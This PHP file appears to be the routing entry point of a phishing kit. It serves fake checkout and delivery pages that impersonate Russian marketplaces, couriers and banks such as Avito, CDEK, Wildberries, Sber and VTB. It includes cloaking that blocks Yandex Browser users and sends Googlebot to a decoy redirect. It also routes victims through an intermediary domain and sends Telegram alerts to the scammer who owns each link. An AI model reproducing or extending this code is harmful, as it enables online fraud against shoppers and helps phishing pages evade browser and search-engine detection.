<?php

define('DS', DIRECTORY_SEPARATOR);
define('BASE_PATH', __DIR__ . DS);
define('GMTEAM_KEY_SECRET', true);

require_once 'modules/idna_convert.class.php';
require_once 'function.php';

function send_telegram_to_link_owner($db, $chat_id, $text) {
    $s = $db->table('settings')->first();
    $token = ($s && isset($s->botToken)) ? $s->botToken : null;
    if ($token === null || $token === '') return;
    $url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
    $payload = http_build_query(['chat_id' => $chat_id, 'text' => $text, 'parse_mode' => 'html']);
    $ctx = stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $payload, 'timeout' => 2]]);
    @file_get_contents($url, false, $ctx);
}

function get_service_name_for_notify($data) {
    $services = [
        'avito' => $data->method == 'buy' ? '📦 AVITO' : '📦 AVITO 2.0',
        'youla' => $data->method == 'buy' ? '🛍 Юла' : '🛍 Юла 2.0',
        'boxberry' => '🚚 BoxBerry',
        'cdek' => $data->method == 'buy' ? '🚛 CDEK' : '🚛 CDEK 2.0',
        'yandex' => $data->method == 'buy' ? '🧢 YANDEX' : '🧢 YANDEX 2.0',
        'mvideo' => '🎮 MVIDEO',
        'yandexmarket' => $data->method == 'buy' ? '🟡 Яндекс.Маркет' : '🟡 ЯндексМаркет 2.0',
        'dns' => '👽 DNS-SHOP',
        'wildberries' => '💟 Wildberries',
        'drom' => '🔩 DROM 2.0',
        'sberm' => '🛒 СберМегаМаркет',
        'merch' => '📟 Сбер',
        'nalozhka' => '🏵 Наложка',
        'pec' => '🗳 ПЭК',
        'arenda' => '🏠 Яндекс Недвижимость',
        'ostrovok' => '🏝 Ostrovok',
        'ikea' => '🛋 IKEA',
        'farpost' => $data->method == 'buy' ? '🧿 OZON' : '🧿 OZON 2.0',
        'farpost1' => $data->method == 'buy' ? '🔮 FarPost' : '🔮 FarPost 2.0',
        'cian' => '🏡 CIAN',
        'booking' => $data->method == 'buy' ? '🏘 BOOKING' : '🌴 BOOKING 2.0',
    ];
    return $services[$data->type] ?? '📄 ' . $data->type;
}

function is_yandex_browser_user_agent() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    // Yandex Browser UAs usually contain "YaBrowser/..."
    return (bool)preg_match('/\bYaBrowser\//i', $ua);
}

//Show errors
//===================================
// ВРЕМЕННО ВКЛЮЧАЕМ ОТОБРАЖЕНИЕ ОШИБОК ДЛЯ ОТЛАДКИ
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);

$id = null;
$id_source = null;
if (isset($_GET['pay'])) {
    $id = $_GET['pay'];
    $id_source = 'pay';
} elseif (isset($_GET['id'])) {
    $id = $_GET['id'];
    $id_source = 'id';
} elseif (isset($_GET['key'])) {
    $id = $_GET['key'];
    $id_source = 'key';
} elseif (isset($_GET['track_id'])) {
    $id = $_GET['track_id'];
    $id_source = 'track_id';
}

$data = $db->table('links')->where('id', $id)->first();
$u = ($data && isset($data->user_id)) ? $db->table('users')->where('user_id', $data->user_id)->first() : null;

// Prokladka gate: resolve prokladka domain and check if current request is on it
$prokladka = $db->table('domains')->where('name', 'prokladka')->first();
$current_host = isset($_SERVER['HTTP_HOST']) ? coderurl($_SERVER['HTTP_HOST']) : '';
$prokladka_host = ($prokladka && !empty($prokladka->value)) ? parse_url($prokladka->value, PHP_URL_HOST) : '';
$is_on_prokladka = ($prokladka && $current_host !== '' && $prokladka_host !== '' && strtolower($current_host) === strtolower($prokladka_host));

// Link ID present but link not found -> 404
if ($id !== null && $data === null && $id_source !== 'track_id') {
    // #region agent log
    if (function_exists('file_put_contents')) {
        $logLine = json_encode(['id'=>'log_'.time().'_404_link_not_found','timestamp'=>time()*1000,'location'=>'index.php:404_link_not_found','message'=>'Redirect to /404/ because link not found','data'=>['id'=>$id,'id_source'=>$id_source,'http_host'=>$_SERVER['HTTP_HOST']??'','request_uri'=>$_SERVER['REQUEST_URI']??null,'is_on_prokladka'=>$is_on_prokladka],'hypothesisId'=>'404_link_not_found'])."\n";
        @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
    }
    // #endregion
    header('Location: /404/');
    exit();
}

// Gate: on prokladka and link has block_yandex
if ($id !== null && $data && !empty($data->block_yandex) && $is_on_prokladka) {
    $params_link = json_decode($data->params, true);
    $link_name = isset($params_link['name']) ? $params_link['name'] : '—';
    $service_name = get_service_name_for_notify($data);
    $browser_func = getBrowser();
    $browser_ua_is_yandex = is_yandex_browser_user_agent();
    // #region agent log
    if (function_exists('file_put_contents')) {
        $logLine = json_encode(['id'=>'log_'.time().'_gate','timestamp'=>time()*1000,'location'=>'index.php:gate_browser','message'=>'Gate browser detect','data'=>['is_on_prokladka'=>$is_on_prokladka,'block_yandex'=>$data->block_yandex,'browser_func'=>$browser_func,'ua_yabrowser'=>$browser_ua_is_yandex,'ua'=>substr($_SERVER['HTTP_USER_AGENT'] ?? '',0,120),'link_id'=>$data->id,'link_type'=>$data->type],'hypothesisId'=>'B_or_getBrowser_misdetect'])."\n";
        @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
    }
    // #endregion
    if ($browser_ua_is_yandex) {
        // #region agent log
        if (function_exists('file_put_contents')) {
            $logLine = json_encode(['id'=>'log_'.time().'_404_gate_blocked','timestamp'=>time()*1000,'location'=>'index.php:404_gate_blocked','message'=>'Redirect to /404/ because gate blocked Yandex','data'=>['is_on_prokladka'=>$is_on_prokladka,'block_yandex'=>$data->block_yandex,'browser_func'=>$browser_func,'ua_yabrowser'=>$browser_ua_is_yandex,'link_id'=>$data->id,'link_type'=>$data->type,'link_domain'=>$data->domain],'hypothesisId'=>'gate_yandex_blocked'])."\n";
            @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
        }
        // #endregion
        header('Location: /404/');
        $msg_blocked = '🚫 <b>Посетитель заблокирован</b>'.PHP_EOL.PHP_EOL.'🛑 <b>Причина:</b> <code>Яндекс.Браузер</code>'.PHP_EOL.'📄 <b>Сервис:</b> '.$service_name.PHP_EOL.'🆔 <b>ID объявления:</b> <code>'.$data->id.'</code>'.PHP_EOL.'✏️ <b>Название:</b> <code>'.htmlspecialchars($link_name).'</code>';
        send_telegram_to_link_owner($db, $data->user_id, $msg_blocked);
        exit();
    }
    $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
    $query = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY);
    $target = rtrim($data->domain, '/') . $path . ($query !== null && $query !== '' ? '?' . $query : '');
    header('Location: ' . $target);
    $msg_passed = '✅ <b>Посетитель пропущен на верную ссылку</b>'.PHP_EOL.PHP_EOL.'📄 <b>Сервис:</b> '.$service_name.PHP_EOL.'🆔 <b>ID объявления:</b> <code>'.$data->id.'</code>'.PHP_EOL.'✏️ <b>Название:</b> <code>'.htmlspecialchars($link_name).'</code>';
    send_telegram_to_link_owner($db, $data->user_id, $msg_passed);
    exit();
}

$url = urldecode(
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)
);

// Ищем домен по хосту
$search_url = 'https://'.coderurl($_SERVER['HTTP_HOST']);

// #region agent log
if (function_exists('file_put_contents')) {
    $logLine = json_encode(['id'=>'log_'.time().'_entry','timestamp'=>time()*1000,'location'=>'index.php:96','message'=>'Request and link','data'=>['request_uri'=>$_SERVER['REQUEST_URI']??'','path'=>$url,'get_pay'=>$_GET['pay']??null,'get_id'=>$_GET['id']??null,'get_key'=>$_GET['key']??null,'track_id'=>$_GET['track_id']??null,'link_id'=>$data->id??null,'link_type'=>$data->type??null,'link_method'=>$data->method??null,'link_domain'=>$data->domain??null,'search_url'=>$search_url],'hypothesisId'=>'A,B,C,D'])."\n";
    @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
}
// #endregion

// Определяем сервис по URL
$service_type = null;

// Когда есть ID ссылки — выбираем домен по сервису ссылки (один домен — разные роутеры)
if ($data && !empty($data->type)) {
    $domain = $db->table('domains')
        ->where('value', $search_url)
        ->where('name', $data->type)
        ->where('status', 1)
        ->first();
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')
            ->where('value', $data->domain)
            ->where('name', $data->type)
            ->where('status', 1)
            ->first();
    }
    if (isset($domain) && !is_null($domain)) {
        goto skip_service_detect;
    }
    $domain = null;
}

// CDEK - track_id, /track, /payments
if (isset($_GET['track_id']) || strpos($url, '/track') === 0 || strpos($url, '/payments') === 0 || strpos($url, '/payment') === 0) {
    $service_type = 'cdek';
}
// BOOKING
elseif (isset($_GET['key']) || strpos($url, '/book') !== false) {
    $service_type = 'booking';
}
// YANDEX MARKET
elseif (strpos($url, '/cart') === 0 && isset($_GET['id'])) {
    $service_type = 'yandexmarket';
}
// MVIDEO / DNS
elseif (strpos($url, '/cart') === 0 && isset($_GET['_requestid'])) {
    $service_type = 'mvideo';
}
// WILDBERRIES
elseif (strpos($url, '/basket') === 0) {
    $service_type = 'wildberries';
}
// SBERM (MEGAMARKET)
elseif (strpos($url, '/multicart') === 0) {
    $service_type = 'sberm';
}
// NALOZHKA / FARPOST
elseif (strpos($url, '/deal') === 0) {
    $service_type = 'nalozhka';
}
// PEC
elseif (strpos($url, '/services-are/order-status/') === 0 && isset($_GET['code'])) {
    $service_type = 'pec';
}
// ARENDA
elseif (strpos($url, '/offer') === 0) {
    $service_type = 'arenda';
}
// DROM / CDEK (checkout с track_id)
elseif (strpos($url, '/checkout') === 0) {
    if (isset($_GET['track_id'])) {
        $service_type = 'cdek';
    } else {
        $service_type = 'drom';
    }
}
// YANDEX / CDEK - /order, /page, /rules, /inform, /help, /refunds (один value — выбираем только по name)
elseif (strpos($url, '/order') === 0 || strpos($url, '/page') === 0 || strpos($url, '/rules') === 0 || strpos($url, '/inform') === 0 || strpos($url, '/help') === 0 || strpos($url, '/refunds') === 0) {
    if ($data && !empty($data->type)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', $data->type)->where('status', 1)->first();
        if (!isset($domain) || is_null($domain)) {
            $domain = $db->table('domains')->where('value', $data->domain)->where('name', $data->type)->where('status', 1)->first();
        }
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'yandex')->where('status', 1)->first();
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'cdek')->where('status', 1)->first();
    }
    goto skip_service_detect;
}
// PAYMENT
elseif (strpos($url, '/payment') === 0 && strpos($url, '/payments') !== 0) {
    $service_type = 'cdek';
}
// MERCH / YANDEX / ALFA / VTB - /?pay= (один value — только по name, без «любой первый»)
elseif (isset($_GET['pay'])) {
    if ($data && !empty($data->type)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', $data->type)->where('status', 1)->first();
        if (!isset($domain) || is_null($domain)) {
            $domain = $db->table('domains')->where('value', $data->domain)->where('name', $data->type)->where('status', 1)->first();
        }
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'merch')->where('status', 1)->first();
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'yandex')->where('status', 1)->first();
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'vtb')->where('status', 1)->first();
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')->where('value', $search_url)->where('name', 'alfa')->where('status', 1)->first();
    }
    goto skip_service_detect;
}
// AVITO / YOULA
elseif (strpos($url, '/sell') === 0) {
    $service_type = 'avito';
}

// Ищем домен по определённому сервису (value + name, без «любой первый»)
if ($service_type) {
    $domain = $db->table('domains')
        ->where('value', $search_url)
        ->where('name', $service_type)
        ->where('status', 1)
        ->first();
}

skip_service_detect:

// Если домен не найден по хосту — пробуем взять домен из ссылки (по ID), по типу сервиса ссылки
if (is_null($domain) && $data && !empty($data->domain)) {
    if (!empty($data->type)) {
        $domain = $db->table('domains')
            ->where('value', $data->domain)
            ->where('name', $data->type)
            ->where('status', 1)
            ->first();
    }
    if (!isset($domain) || is_null($domain)) {
        $domain = $db->table('domains')
            ->where('value', $data->domain)
            ->where('status', 1)
            ->first();
    }
    // #region agent log
    if (function_exists('file_put_contents')) {
        $logLine = json_encode(['id'=>'log_'.time().'_fallback','timestamp'=>time()*1000,'location'=>'index.php:fallback','message'=>'Domain from link fallback','data'=>['link_domain'=>$data->domain,'link_type'=>$data->type,'domain_name'=>$domain->name??null,'domain_value'=>$domain->value??null],'hypothesisId'=>'A,D'])."\n";
        @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
    }
    // #endregion
}

// Если домен не найден — редирект
if (is_null($domain)) {
    header("Location: https://vk.com/away.php?to=https://google.com/");
    exit();
}

// #region agent log
if (function_exists('file_put_contents')) {
    $logLine = json_encode(['id'=>'log_'.time().'_chosen','timestamp'=>time()*1000,'location'=>'index.php:domain_router','message'=>'Domain and router chosen','data'=>['domain_name'=>$domain->name??null,'domain_value'=>$domain->value??null,'link_type'=>$data->type??null,'match'=>isset($data->type) && isset($domain->name) ? ($data->type === $domain->name ? 'yes' : 'no') : 'n/a'],'hypothesisId'=>'A,D,E'])."\n";
    @file_put_contents(__DIR__.'/debug-7bbedd.log', $logLine, FILE_APPEND | LOCK_EX);
}
// #endregion

if (!isset($_SERVER['HTTP_USER_AGENT']) || !strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")) {

if($domain->name == "avito") {
	require_once 'router/avito.router.php';
} elseif($domain->name == "youla") {
	require_once 'router/youla.router.php';
} elseif($domain->name == "youlaauto") {
	require_once 'router/youla.router.php';
} elseif($domain->name == "boxberry") {
	require_once 'router/boxberry.router.php';
} elseif($domain->name == "cdek") {
	require_once 'router/cdek.router.php';
} elseif($domain->name == "dns") {
	require_once 'router/dns.router.php';
} elseif($domain->name == "booking") {
	require_once 'router/booking.router.php';
} elseif($domain->name == "yandex") {
	require_once 'router/yandex.router.php';
} elseif($domain->name == "merch") {
	require_once 'router/merch.router.php';
} elseif($domain->name == "ikea") {
	require_once 'router/ikea.router.php';
} elseif($domain->name == "sberm") {
	require_once 'router/sberm.router.php';
} elseif($domain->name == "yandexmarket") {
	require_once 'router/yandexmarket.router.php';	
} elseif($domain->name == "wildberries") {
	require_once 'router/wildberries.router.php';
} elseif($domain->name == "cian") {
	require_once 'router/cian.router.php';
} elseif($domain->name == "drom") {
	require_once 'router/drom.router.php';
} elseif($domain->name == "mvideo") {
	require_once 'router/mvideo.router.php';
} elseif($domain->name == "pec") {
	require_once 'router/pec.router.php';	
} elseif($domain->name == "arenda") {
	require_once 'router/arenda.router.php';	
} elseif($domain->name == "farpost1") {
	require_once 'router/far.router.php';
} elseif($domain->name == "nalozhka") {
	require_once 'router/nalozhka.router.php';
} elseif($domain->name == "farpost") {
	require_once 'router/farpost.router.php';
} elseif($domain->name == "vtb") {
	require_once 'router/vtb.router.php';
} elseif($domain->name == "ostrovok") {
	require_once 'router/ostrovok.router.php';	
} elseif($domain->name == "sutki") {
	require_once 'router/sutki.router.php';	
} else {
	header("Location: https://vk.com/away.php?to=https://google.com/");
	exit();
}

} else {
    header("Location: https://vk.com/away.php?to=https://google.com/");
    exit();
}

?>